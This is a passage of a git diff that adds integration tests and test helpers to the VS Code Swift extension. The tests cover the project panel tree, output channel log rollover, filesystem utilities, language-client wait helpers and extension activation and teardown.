plugin the command plugins do not get returned from `swift package plugin list`. + if ( + workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(5, 10, 0)) + ) { + expect(commandNames).to.deep.equal([ + "Dependencies", + "Targets", + "Tasks", + "Snippets", + ]); + } else { + expect(commandNames).to.deep.equal([ + "Dependencies", + "Targets", + "Tasks", + "Snippets", + "Commands", + ]); + } + } + ); + }); + + suite("Targets", () => { + test("Includes targets", async () => { + await waitForChildren( + () => getHeaderChildren("Targets"), + targets => { + const targetNames = targets.map(target => target.name); + expect( + targetNames, + `Expected to find dependencies target, but instead items were ${targetNames}` + ).to.deep.equal([ + "BuildToolExecutableTarget", + "ExecutableTarget", + "LibraryTarget", + "BuildToolPlugin", + "PluginTarget", + "AnotherTests", + "TargetsTests", + ]); + } + ); + }); + + test("Shows files generated by build tool plugin", async function () { + if (process.platform === "win32") { + this.skip(); + } + + const children = await getHeaderChildren("Targets"); + const target = children.find(n => n.name === "LibraryTarget") as PackageNode; + expect( + target, + `Expected to find LibraryTarget, but instead items were ${children.map(n => n.name)}` + ).to.not.be.undefined; + const generatedFilesHeaders = await target.getChildren(); + const generatedFiles = generatedFilesHeaders.find( + n => n.name === "BuildToolPlugin - Generated Files" + ) as PackageNode; + const generatedFilesChildren = await generatedFiles.getChildren(); + const file = generatedFilesChildren.find(n => n.name === "Foo.swift") as FileNode; + expect( + file, + `Expected to find Foo.swift, but instead items were ${generatedFilesChildren.map(n => n.name)}` + ).to.not.be.undefined; + const folder = generatedFilesChildren.find(n => n.name === "Bar") as FileNode; + const folderChildren = await folder.getChildren(); + const folderFile = folderChildren.find(n => n.name === "Baz.swift") as FileNode; + expect( + folderFile, + `Expected to find Foo.swift, but instead items were ${folderChildren.map(n => n.name)}` + ).to.not.be.undefined; + }); + }); + + suite("Tasks", () => { + beforeEach(async () => { + await waitForNoRunningTasks(); + }); + + async function getBuildAllTask() { + // In Swift 5.10 and below the build tasks are disabled while other tasks that could modify .build are running. + // Typically because the extension has just started up in tests its `swift test list` that runs to gather tests + // for the test explorer. If we're running 5.10 or below, poll for the build all task for up to 60 seconds. + if (workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(6, 0, 0))) { + const startTime = Date.now(); + let task: PackageNode | undefined; + while (!task && Date.now() - startTime < 45 * 1000) { + const tasks = await getHeaderChildren("Tasks"); + task = tasks.find(n => n.name === "Build All (targets)") as PackageNode; + await new Promise(resolve => setTimeout(resolve, 1000)); + } + return task; + } else { + const tasks = await getHeaderChildren("Tasks"); + return tasks.find(n => n.name === "Build All (targets)") as PackageNode; + } + } + + test("Includes tasks", async () => { + const dep = await getBuildAllTask(); + expect(dep).to.not.be.undefined; + }); + + test("Executes a task", async function () { + if ( + process.platform === "win32" && + workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(5, 10, 0)) + ) { + this.skip(); + } + const task = await getBuildAllTask(); + expect(task).to.not.be.undefined; + const treeItem = task?.toTreeItem(); + expect(treeItem?.command).to.not.be.undefined; + expect(treeItem?.command?.arguments).to.not.be.undefined; + if (treeItem && treeItem.command && treeItem.command.arguments) { + const command = treeItem.command.command; + const args = treeItem.command.arguments; + const result = await vscode.commands.executeCommand(command, ...args); + expect(result).to.be.true; + } + }); + }); + + suite("Snippets", () => { + test("Includes snippets", async () => { + await waitForChildren( + () => getHeaderChildren("Snippets"), + snippets => { + const snippetNames = snippets.map(n => n.name); + expect(snippetNames).to.deep.equal(["AnotherSnippet", "Snippet"]); + } + ); + }); + + test("Executes a snippet", async function () { + if ( + process.platform === "win32" && + workspaceContext.globalToolchain.swiftVersion.isLessThanOrEqual( + new Version(5, 10, 0) + ) + ) { + this.skip(); + } + + const snippet = await waitForChildren( + () => getHeaderChildren("Snippets"), + snippets => { + const snippet = snippets.find(n => n.name === "Snippet"); + expect(snippet).to.not.be.undefined; + return snippet; + } + ); + const result = await vscode.commands.executeCommand( + Commands.RUN_SNIPPET, + snippet?.name + ); + expect(result).to.be.true; + }); + }); + + suite("Commands", () => { + test("Includes commands", async function () { + if ( + (process.platform === "win32" && + workspaceContext.globalToolchain.swiftVersion.isLessThanOrEqual( + new Version(6, 0, 0) + )) || + workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(5, 10, 0)) + ) { + this.skip(); + } + + await waitForChildren( + () => getHeaderChildren("Commands"), + commands => { + const commandNames = commands.map(n => n.name); + expect(commandNames).to.deep.equal(["PluginTarget"]); + } + ); + }); + + test("Executes a command", async function () { + if ( + (process.platform === "win32" && + workspaceContext.globalToolchain.swiftVersion.isLessThanOrEqual( + new Version(6, 0, 0) + )) || + workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(5, 10, 0)) + ) { + this.skip(); + } + + const command = await waitForChildren( + () => getHeaderChildren("Commands"), + commands => { + const command = commands.find(n => n.name === "PluginTarget"); + expect(command).to.not.be.undefined; + return command; + } + ); + const treeItem = command?.toTreeItem(); + expect(treeItem?.command).to.not.be.undefined; + expect(treeItem?.command?.arguments).to.not.be.undefined; + if (treeItem && treeItem.command && treeItem.command.arguments) { + const command = treeItem.command.command; + const args = treeItem.command.arguments; + const result = await vscode.commands.executeCommand(command, ...args); + expect(result).to.be.true; + } + }); + }); + + suite("Dependencies", () => { + test("Includes remote dependency", async () => { + workspaceContext.contextKeys.flatDependenciesList = false; + const items = await getHeaderChildren("Dependencies"); + const dep = items.find(n => n.name === "swift-markdown") as PackageNode; + expect(dep, `${JSON.stringify(items, null, 2)}`).to.not.be.undefined; + expect(dep?.location).to.equal("https://github.com/swiftlang/swift-markdown.git"); + assertPathsEqual( + dep?.path, + path.join(testAssetPath("targets"), ".build/checkouts/swift-markdown") + ); + }); + + test("Includes local dependency", async () => { + const items = await getHeaderChildren("Dependencies"); + const dep = items.find(n => n.name === "defaultpackage") as PackageNode; + expect( + dep, + `Expected to find defaultPackage, but instead items were ${items.map(n => n.name)}` + ).to.not.be.undefined; + assertPathsEqual(dep?.location, testAssetPath("defaultPackage")); + assertPathsEqual(dep?.path, testAssetPath("defaultPackage")); + }); + + test("Lists local dependency file structure", async () => { + workspaceContext.contextKeys.flatDependenciesList = false; + const children = await getHeaderChildren("Dependencies"); + const dep = children.find(n => n.name === "defaultpackage") as PackageNode; + expect( + dep, + `Expected to find defaultPackage, but instead items were ${children.map(n => n.name)}` + ).to.not.be.undefined; + + const folders = await treeProvider.getChildren(dep); + const folder = folders.find(n => n.name === "Sources") as FileNode; + expect(folder).to.not.be.undefined; + + assertPathsEqual(folder?.path, path.join(testAssetPath("defaultPackage"), "Sources")); + + const childFolders = await treeProvider.getChildren(folder); + const childFolder = childFolders.find(n => n.name === "PackageExe") as FileNode; + expect(childFolder).to.not.be.undefined; + + assertPathsEqual( + childFolder?.path, + path.join(testAssetPath("defaultPackage"), "Sources/PackageExe") + ); + + const files = await treeProvider.getChildren(childFolder); + const file = files.find(n => n.name === "main.swift") as FileNode; + expect(file).to.not.be.undefined; + + assertPathsEqual( + file?.path, + path.join(testAssetPath("defaultPackage"), "Sources/PackageExe/main.swift") + ); + }); + + test("Lists remote dependency file structure", async () => { + workspaceContext.contextKeys.flatDependenciesList = false; + const children = await getHeaderChildren("Dependencies"); + const dep = children.find(n => n.name === "swift-markdown") as PackageNode; + expect(dep, `${JSON.stringify(children, null, 2)}`).to.not.be.undefined; + + const folders = await treeProvider.getChildren(dep); + const folder = folders.find(n => n.name === "Sources") as FileNode; + expect(folder).to.not.be.undefined; + + const depPath = path.join(testAssetPath("targets"), ".build/checkouts/swift-markdown"); + assertPathsEqual(folder?.path, path.join(depPath, "Sources")); + + const childFolders = await treeProvider.getChildren(folder); + const childFolder = childFolders.find(n => n.name === "CAtomic") as FileNode; + expect(childFolder).to.not.be.undefined; + + assertPathsEqual(childFolder?.path, path.join(depPath, "Sources/CAtomic")); + + const files = await treeProvider.getChildren(childFolder); + const file = files.find(n => n.name === "CAtomic.c") as FileNode; + expect(file).to.not.be.undefined; + + assertPathsEqual(file?.path, path.join(depPath, "Sources/CAtomic/CAtomic.c")); + }); + + test("Shows a flat dependency list", async () => { + workspaceContext.contextKeys.flatDependenciesList = true; + const items = await getHeaderChildren("Dependencies"); + expect(items.length).to.equal(3); + expect(items.find(n => n.name === "swift-markdown")).to.not.be.undefined; + expect(items.find(n => n.name === "swift-cmark")).to.not.be.undefined; + expect(items.find(n => n.name === "defaultpackage")).to.not.be.undefined; + }); + + test("Shows a nested dependency list", async () => { + workspaceContext.contextKeys.flatDependenciesList = false; + const items = await getHeaderChildren("Dependencies"); + expect(items.length).to.equal(2); + expect(items.find(n => n.name === "swift-markdown")).to.not.be.undefined; + expect(items.find(n => n.name === "defaultpackage")).to.not.be.undefined; + }); + + suite("Error handling", () => { + let savedCurrentFolder: FolderContext | null | undefined; + let errorTreeProvider: ProjectPanelProvider | undefined; + + beforeEach(async () => { + workspaceContext.folders[0].hasResolveErrors = true; + savedCurrentFolder = workspaceContext.currentFolder; + workspaceContext.currentFolder = workspaceContext.folders[0]; + }); + + afterEach(() => { + errorTreeProvider?.dispose(); + errorTreeProvider = undefined; + workspaceContext.folders[0].hasResolveErrors = false; + workspaceContext.currentFolder = savedCurrentFolder; + }); + + test("Shows an error node when there is a problem compiling Package.swift", async () => { + workspaceContext.folders[0].hasResolveErrors = true; + workspaceContext.currentFolder = workspaceContext.folders[0]; + errorTreeProvider = new ProjectPanelProvider(workspaceContext); + const children = await errorTreeProvider.getChildren(); + const errorNode = children.find(n => n.name === "Error Parsing Package.swift"); + expect(errorNode).to.not.be.undefined; + }); + }); + + suite("Excluded files", () => { + let resetSettings: (() => Promise) | undefined; + beforeEach(async function () { + resetSettings = await updateSettings({ + "files.exclude": { "**/*.swift": true, "**/*.txt": false }, + "swift.excludePathsFromPackageDependencies": ["**/*.md"], + }); + }); + + test("Excludes files based on settings", async () => { + workspaceContext.contextKeys.flatDependenciesList = false; + const children = await getHeaderChildren("Dependencies"); + const dep = children.find(n => n.name === "swift-markdown") as PackageNode; + expect(dep, `${JSON.stringify(children, null, 2)}`).to.not.be.undefined; + + const folders = await treeProvider.getChildren(dep); + const manifest = folders.find(n => n.name === "Package.swift") as FileNode; + expect(manifest, "Package.swift was not found").to.be.undefined; + const readme = folders.find(n => n.name === "README.md") as FileNode; + expect(readme, "README.md was not found").to.be.undefined; + const licence = folders.find(n => n.name === "LICENSE.txt") as FileNode; + expect(licence, "LICENSE.txt was not found").to.not.be.undefined; + }); + + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + }); + }); + + async function getHeaderChildren(headerName: string) { + const headers = await treeProvider.getChildren(); + const header = headers.find(n => n.name === headerName) as PackageNode; + expect(header).to.not.be.undefined; + return await header.getChildren(); + } + + async function waitForChildren( + getChildren: () => Promise, + predicate: (children: TreeNode[]) => T + ) { + let counter = 0; + let error: unknown; + // Check the predicate once a second for 30 seconds. + while (counter < 30) { + const children = await getChildren(); + try { + return predicate(children); + } catch (err) { + error = err; + counter += 1; + } + + if (!error) { + break; + } + + await wait(1000); + } + + if (error) { + throw error; + } + } + + function assertPathsEqual(path1: string | undefined, path2: string | undefined) { + expect(path1).to.not.be.undefined; + expect(path2).to.not.be.undefined; + // Convert to vscode.Uri to normalize paths, including drive letter capitalization on Windows. + expect(vscode.Uri.file(path1!).fsPath).to.equal(vscode.Uri.file(path2!).fsPath); + } +}); diff --git a/test/integration-tests/ui/SwiftOutputChannel.test.ts b/test/integration-tests/ui/SwiftOutputChannel.test.ts new file mode 100644 index 000000000..978d49120 --- /dev/null +++ b/test/integration-tests/ui/SwiftOutputChannel.test.ts @@ -0,0 +1,108 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { join } from "path"; + +import { SwiftOutputChannel } from "@src/logging/SwiftOutputChannel"; +import { TemporaryFolder } from "@src/utilities/tempFolder"; + +suite("SwiftOutputChannel", function () { + let channel: SwiftOutputChannel; + const channels: SwiftOutputChannel[] = []; + let tempFolder: TemporaryFolder; + + suiteSetup(async function () { + tempFolder = await TemporaryFolder.create(); + }); + + setup(function () { + const channelName = `SwiftOutputChannel Tests ${this.currentTest?.id ?? ""}`; + channel = new SwiftOutputChannel( + channelName, + join(tempFolder.path, "SwiftOutputChannel.test.log"), + 3 + ); + channels.push(channel); + }); + + suiteTeardown(async function () { + // Output channels are added to their disposable store asynchronously, which leads + // to warnings in the console if we dispose of them immediately after the test. + // https://github.com/microsoft/vscode/blob/1f8fd7adeff6c113f9226787bdf4f417e6bdfb11/src/vs/workbench/api/common/extHostOutput.ts#L150 + // As a workaround, we wait for a short period of time before disposing of the channels + await new Promise(resolve => + setTimeout(() => { + channels.forEach(channel => channel.dispose()); + resolve(void 0); + }, 50) + ); + }); + + test("Appends logs", () => { + channel.append("a"); + channel.append("b"); + channel.append("c"); + assert.deepEqual(channel.logs, ["abc"]); + }); + + test("Appends lines", () => { + channel.appendLine("a"); + channel.appendLine("b"); + channel.appendLine("c"); + assert.deepEqual(channel.logs, ["a", "b", "c"]); + }); + + test("Appends lines and rolls over", () => { + channel.appendLine("a"); + channel.appendLine("b"); + channel.appendLine("c"); + channel.appendLine("d"); + assert.deepEqual(channel.logs, ["b", "c", "d"]); + }); + + test("Appends and rolls over", () => { + channel.appendLine("a"); + channel.appendLine("b"); + channel.appendLine("c"); + channel.append("d"); + channel.appendLine("e"); + assert.deepEqual(channel.logs, ["b", "cd", "e"]); + }); + + test("Appends after rolling over", () => { + channel.appendLine("a"); + channel.appendLine("b"); + channel.appendLine("c"); + channel.appendLine("d"); + channel.append("e"); + channel.appendLine("f"); + assert.deepEqual(channel.logs, ["c", "de", "f"]); + }); + + test("Replaces", () => { + channel.appendLine("a"); + channel.appendLine("b"); + channel.appendLine("c"); + channel.appendLine("d"); + channel.replace("e"); + assert.deepEqual(channel.logs, ["e"]); + }); + + test("AppendLine after append terminates appending line", () => { + channel.append("a"); + channel.append("b"); + channel.appendLine("c"); + assert.deepEqual(channel.logs, ["ab", "c"]); + }); +}); diff --git a/test/integration-tests/utilities/filesystem.test.ts b/test/integration-tests/utilities/filesystem.test.ts new file mode 100644 index 000000000..a69139c29 --- /dev/null +++ b/test/integration-tests/utilities/filesystem.test.ts @@ -0,0 +1,31 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as path from "path"; + +import { fileExists, pathExists } from "@src/utilities/filesystem"; + +suite("File System Utilities Test Suite", () => { + test("fileExists", async () => { + assert(await fileExists(__filename)); + assert(!(await fileExists(__dirname))); + assert(!(await fileExists(path.join(__filename, "i_dont_exist.txt")))); + }); + + test("pathExists", async () => { + assert(await pathExists(__filename)); + assert(await pathExists(__dirname)); + assert(!(await pathExists(path.join(__filename, "i_dont_exist.txt")))); + }); +}); diff --git a/test/integration-tests/utilities/lsputilities.ts b/test/integration-tests/utilities/lsputilities.ts new file mode 100644 index 000000000..7f744c2b6 --- /dev/null +++ b/test/integration-tests/utilities/lsputilities.ts @@ -0,0 +1,73 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as langclient from "vscode-languageclient/node"; + +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; + +export async function waitForClient( + languageClientManager: LanguageClientManager, + getResult: ( + c: langclient.LanguageClient, + token: langclient.CancellationToken + ) => Promise, + match: (r: Result | undefined) => boolean +): Promise { + let result: Result | undefined = undefined; + while (!match(result)) { + result = await languageClientManager.useLanguageClient(getResult); + console.warn("Language client is not ready yet. Retrying in 100 ms..."); + await new Promise(resolve => setTimeout(resolve, 100)); + } + return result; +} + +export async function waitForClientState( + languageClientManager: LanguageClientManager, + expectedState: langclient.State +): Promise { + return await waitForClient( + languageClientManager, + async c => c.state, + s => s === expectedState + ); +} + +export async function waitForCodeActions( + languageClientManager: LanguageClientManager, + uri: vscode.Uri, + range: vscode.Range +): Promise<(langclient.CodeAction | langclient.Command)[]> { + return ( + (await waitForClient( + languageClientManager, + async (client, token) => { + try { + return client.sendRequest( + langclient.CodeActionRequest.type, + { + context: langclient.CodeActionContext.create([]), + textDocument: langclient.TextDocumentIdentifier.create(uri.toString()), + range, + }, + token + ); + } catch (e) { + // Ignore + } + }, + s => (s || []).length > 0 + )) || [] + ); +} diff --git a/test/integration-tests/utilities/testutilities.test.ts b/test/integration-tests/utilities/testutilities.test.ts new file mode 100644 index 000000000..618c23143 --- /dev/null +++ b/test/integration-tests/utilities/testutilities.test.ts @@ -0,0 +1,57 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; + +import { isConfigurationSuperset } from "./testutilities"; + +suite("Test Utilities", () => { + suite("isConfigurationSuperset", () => { + test("Primitive type tests", () => { + expect(isConfigurationSuperset(5, 5)).to.be.true; + expect(isConfigurationSuperset("test", "test")).to.be.true; + expect(isConfigurationSuperset(true, true)).to.be.true; + expect(isConfigurationSuperset(5, 6)).to.be.false; + expect(isConfigurationSuperset(null, null)).to.be.true; + expect(isConfigurationSuperset(undefined, undefined)).to.be.true; + }); + + test("Array tests", () => { + expect(isConfigurationSuperset([1, 2, 3], [1])).to.be.true; + expect(isConfigurationSuperset([1, 2, 3], [4])).to.be.false; + expect(isConfigurationSuperset([{ a: 1 }], [{ a: 1 }])).to.be.true; + expect(isConfigurationSuperset([{ a: 1, b: 2 }], [{ a: 1 }])).to.be.true; + }); + + test("Object tests", () => { + expect(isConfigurationSuperset({ a: 1, b: 2 }, { a: 1 })).to.be.true; + expect(isConfigurationSuperset({ a: 1 }, { a: 1, b: 2 })).to.be.false; + expect(isConfigurationSuperset({ a: { b: 1, c: 2 } }, { a: { b: 1 } })).to.be.true; + expect(isConfigurationSuperset({ a: { b: 1 } }, { a: { b: 2 } })).to.be.false; + }); + + test("Mixed type tests", () => { + expect(isConfigurationSuperset({ a: [1, 2, 3] }, { a: [1] })).to.be.true; + expect(isConfigurationSuperset({ a: 1, b: [1, 2] }, { a: 1, b: [1] })).to.be.true; + expect(isConfigurationSuperset({ a: 1, b: [1, 2] }, { a: 1, b: [3] })).to.be.false; + }); + + test("Edge cases", () => { + expect(isConfigurationSuperset({}, {})).to.be.true; + expect(isConfigurationSuperset([], [])).to.be.true; + expect(isConfigurationSuperset({ a: undefined }, { a: undefined })).to.be.true; + expect(isConfigurationSuperset({ a: null }, { a: null })).to.be.true; + expect(isConfigurationSuperset({ a: null }, { a: undefined })).to.be.false; + }); + }); +}); diff --git a/test/integration-tests/utilities/testutilities.ts b/test/integration-tests/utilities/testutilities.ts new file mode 100644 index 000000000..5fcb38595 --- /dev/null +++ b/test/integration-tests/utilities/testutilities.ts @@ -0,0 +1,712 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as mocha from "mocha"; +import * as path from "path"; +import { isDeepStrictEqual } from "util"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { FolderOperation, WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { getLLDBLibPath } from "@src/debugger/lldb"; +import { Api } from "@src/extension"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { buildAllTaskName, resetBuildAllTaskCache } from "@src/tasks/SwiftTaskProvider"; +import { Extension } from "@src/utilities/extensions"; +import { fileExists } from "@src/utilities/filesystem"; +import { Version } from "@src/utilities/version"; + +import { testAssetPath, testAssetUri } from "../../fixtures"; +import { closeAllEditors } from "../../utilities/commands"; +import { waitForNoRunningTasks } from "../../utilities/tasks"; + +export function getRootWorkspaceFolder(): vscode.WorkspaceFolder { + const result = vscode.workspace.workspaceFolders?.at(0); + assert(result, "No workspace folders were opened for the tests to use"); + return result; +} + +interface Loggable { + get logs(): string[]; +} + +function printLogs(logger: Loggable, message: string) { + console.error(`${message}, captured logs are:`); + logger.logs.map(log => console.log(log)); + console.log("======== END OF LOGS ========\n"); +} + +// Until the logger on the WorkspaceContext is available we capture logs here. +// Once it becomes available (via setLogger) we forward logs to that logger to maintain ordering. +class ExtensionActivationLogger implements Loggable { + private logger: SwiftLogger | undefined; + private _logs: string[] = []; + + get logs(): string[] { + return [...this._logs, ...(this.logger?.logs ?? [])]; + } + + setLogger(logger: SwiftLogger) { + this.logger = logger; + } + + private formatTimestamp(): string { + const now = new Date(); + return now.toLocaleString("en-US", { + hour: "2-digit", + minute: "2-digit", + second: "2-digit", + hour12: false, + }); + } + + info(message: string) { + const timestamp = this.formatTimestamp(); + const timestampedMessage = `[${timestamp}] ${message}`; + + if (this.logger) { + this.logger.info(timestampedMessage); + } else { + this._logs.push(timestampedMessage); + } + } + + reset() { + this._logs = []; + this.logger = undefined; + } +} + +// Mocha doesn't give us a hook to run code when a before block times out. +// This utility method can be used to dump logs right before the before block times out. +// Ensure you pass in a timeout that is slightly less than mocha's `before` timeout. +function configureLogDumpOnTimeout(timeout: number, logger: ExtensionActivationLogger) { + return setTimeout( + () => { + logger.info(`Activating extension timed out!`); + printLogs(logger, "Activating extension exceeded the timeout"); + }, + Math.max(0, timeout - 300) + ); +} + +const extensionBootstrapper = (() => { + let activator: (() => Promise) | undefined = undefined; + let activatedAPI: Api | undefined = undefined; + let lastTestName: string | undefined = undefined; + const testTitle = (currentTest: Mocha.Test) => currentTest.titlePath().join(" → "); + let activationLogger: ExtensionActivationLogger; + let asyncLogWrapper: (prefix: string, asyncWork: () => Thenable) => Promise; + + function testRunnerSetup( + before: Mocha.HookFunction, + setup: + | (( + this: Mocha.Context, + ctx: WorkspaceContext + ) => Promise<(() => Promise) | void>) + | undefined, + after: Mocha.HookFunction, + teardown: ((this: Mocha.Context) => Promise) | undefined, + testAssets?: string[], + requiresLSP: boolean = false, + requiresDebugger: boolean = false + ) { + let workspaceContext: WorkspaceContext | undefined; + let autoTeardown: void | (() => Promise); + let restoreSettings: (() => Promise) | undefined; + activationLogger = new ExtensionActivationLogger(); + asyncLogWrapper = withLogging(activationLogger); + const SETUP_TIMEOUT_MS = 300_000; + const TEARDOWN_TIMEOUT_MS = 60_000; + + before("Activate Swift Extension", async function () { + // Allow enough time for the extension to activate + this.timeout(SETUP_TIMEOUT_MS); + + // Mocha doesn't give us a hook to run code when a before block times out, so + // we set a timeout to just before mocha's so we have time to print the logs. + const timer = configureLogDumpOnTimeout(SETUP_TIMEOUT_MS, activationLogger); + + activationLogger.info(`Begin activating extension`); + + // Make sure that CodeLLDB is installed for debugging related tests + if (!vscode.extensions.getExtension("vadimcn.vscode-lldb")) { + await asyncLogWrapper( + "vadimcn.vscode-lldb is not installed, installing CodeLLDB extension for the debugging tests.", + () => + vscode.commands.executeCommand( + "workbench.extensions.installExtension", + "vadimcn.vscode-lldb" + ) + ); + } + // Always activate the extension. If no test assets are provided, + // default to adding `defaultPackage` to the workspace. + workspaceContext = await extensionBootstrapper.activateExtension( + this.currentTest ?? this.test, + testAssets ?? ["defaultPackage"] + ); + activationLogger.setLogger(workspaceContext.logger); + activationLogger.info(`Extension activated successfully.`); + + // Need the `disableSandbox` configuration which is only in 6.1 + // https://github.com/swiftlang/sourcekit-lsp/commit/7e2d12a7a0d184cc820ae6af5ddbb8aa18b1501c + if ( + process.platform === "darwin" && + workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(6, 1, 0)) && + requiresLSP + ) { + activationLogger.info(`Skipping test, LSP is required but not available.`); + this.skip(); + } + if (requiresDebugger && configuration.debugger.disable) { + activationLogger.info( + `Skipping test, Debugger is required but disabled in the configuration.` + ); + this.skip(); + } + // CodeLLDB does not work with libllbd in Swift toolchains prior to 5.10 + if (workspaceContext.globalToolchainSwiftVersion.isLessThan(new Version(5, 10, 0))) { + await asyncLogWrapper('Setting swift.debugger.setupCodeLLDB: "never"', () => + updateSettings({ + "swift.debugger.setupCodeLLDB": "never", + }) + ); + } else if (requiresDebugger) { + const lldbLibPath = await asyncLogWrapper("Getting LLDB library path", async () => + getLLDBLibPath(workspaceContext!.globalToolchain) + ); + activationLogger.info( + `LLDB library path is: ${lldbLibPath.success ?? "not found"}` + ); + } + + // Make sure no running tasks before setting up + await asyncLogWrapper("Waiting for no running tasks before starting test/suite", () => + waitForNoRunningTasks({ timeout: 10000 }) + ); + + // Clear build all cache before starting suite + resetBuildAllTaskCache(); + + if (!setup) { + activationLogger.info("Activation complete!"); + clearTimeout(timer); + return; + } + try { + // If the setup returns a promise it is used to undo whatever setup it did. + // Typically this is the promise returned from `updateSettings`, which will + // undo any settings changed during setup. + autoTeardown = await asyncLogWrapper( + "Calling user defined setup method to configure test/suite specifics", + () => setup.call(this, workspaceContext!) + ); + } catch (error: any) { + // Mocha will throw an error to break out of a test if `.skip` is used. + if (error.message?.indexOf("sync skip;") === -1) { + printLogs(activationLogger, "Error during test/suite setup"); + } + throw error; + } finally { + clearTimeout(timer); + } + }); + + mocha.beforeEach(function () { + if (this.currentTest && activatedAPI) { + activatedAPI.logger.clear(); + activatedAPI.logger.info(`Starting test: ${testTitle(this.currentTest)}`); + } + }); + + mocha.afterEach(async function () { + if (this.currentTest && activatedAPI && this.currentTest.isFailed()) { + printLogs(activationLogger, `Test failed: ${testTitle(this.currentTest)}`); + } + if (vscode.debug.activeDebugSession) { + await vscode.debug.stopDebugging(vscode.debug.activeDebugSession); + } + }); + + after("Deactivate Swift Extension", async function () { + // Allow enough time for the extension to deactivate + this.timeout(TEARDOWN_TIMEOUT_MS); + + const timer = configureLogDumpOnTimeout(TEARDOWN_TIMEOUT_MS, activationLogger); + + activationLogger.info("Deactivating extension..."); + + let userTeardownError: unknown | undefined; + try { + // First run the users supplied teardown, then await the autoTeardown if it exists. + if (teardown) { + await asyncLogWrapper("Running user teardown function...", () => + teardown.call(this) + ); + } + if (autoTeardown) { + await asyncLogWrapper( + "Running auto teardown function (function returned from setup)...", + () => autoTeardown!() + ); + } + } catch (error) { + if (workspaceContext) { + printLogs(activationLogger, "Error during test/suite teardown"); + } + // We always want to restore settings and deactivate the extension even if the + // user supplied teardown fails. That way we have the best chance at not causing + // issues with the next test. + // + // Store the error and re-throw it after extension deactivation. + userTeardownError = error; + } + + if (restoreSettings) { + await asyncLogWrapper("Running restore settings function...", () => + restoreSettings!() + ); + } + activationLogger.info("Deactivation complete, calling deactivateExtension()"); + await extensionBootstrapper.deactivateExtension(); + activationLogger.reset(); + + clearTimeout(timer); + + // Re-throw the user supplied teardown error + if (userTeardownError) { + throw userTeardownError; + } + }); + } + + return { + // Activates the extension and adds the defaultPackage to the workspace. + // We can only truly call `vscode.Extension.activate()` once for an entire + // test run, so after it is called once we switch over to calling activate on + // the returned API object which behaves like the extension is being launched for + // the first time _as long as everything is disposed of properly in `deactivate()`_. + activateExtension: async function (currentTest?: Mocha.Runnable, testAssets?: string[]) { + if (activatedAPI) { + throw new Error( + `Extension is already activated. Last test that activated the extension: ${lastTestName}` + ); + } + + const extensionId = "swiftlang.swift-vscode"; + const ext = vscode.extensions.getExtension(extensionId); + if (!ext) { + throw new Error(`Unable to find extension "${extensionId}"`); + } + + let workspaceContext: WorkspaceContext | undefined; + + // We can only _really_ call activate through + // `vscode.extensions.getExtension("swiftlang.swift-vscode")` once. + // Subsequent activations must be done through the returned API object. + if (!activator) { + activationLogger.info( + "Performing the one and only extension activation for this test run." + ); + for (const depId of [Extension.CODELLDB, Extension.LLDBDAP]) { + const dep = vscode.extensions.getExtension(depId); + if (!dep) { + throw new Error(`Unable to find extension "${depId}"`); + } + await asyncLogWrapper(`Activating dependency extension "${depId}".`, () => + dep.activate() + ); + } + + activatedAPI = await asyncLogWrapper( + "Activating Swift extension (true activation)...", + () => ext.activate() + ); + + // Save the test name so if the test doesn't clean up by deactivating properly the next + // test that tries to activate can throw an error with the name of the test that needs to clean up. + lastTestName = currentTest?.titlePath().join(" → "); + activator = activatedAPI.activate; + workspaceContext = activatedAPI.workspaceContext; + } else { + activatedAPI = await asyncLogWrapper( + "Activating Swift extension by re-calling the extension's activation method...", + () => activator!() + ); + lastTestName = currentTest?.titlePath().join(" → "); + workspaceContext = activatedAPI.workspaceContext; + } + + if (!workspaceContext) { + printLogs( + activationLogger, + "Error during test/suite setup, workspace context could not be created" + ); + throw new Error("Extension did not activate. Workspace context is not available."); + } + + // Add assets required for the suite/test to the workspace. + const expectedAssets = testAssets ?? ["defaultPackage"]; + if (!vscode.workspace.workspaceFile) { + activationLogger.info(`No workspace file found, adding assets directly.`); + for (const asset of expectedAssets) { 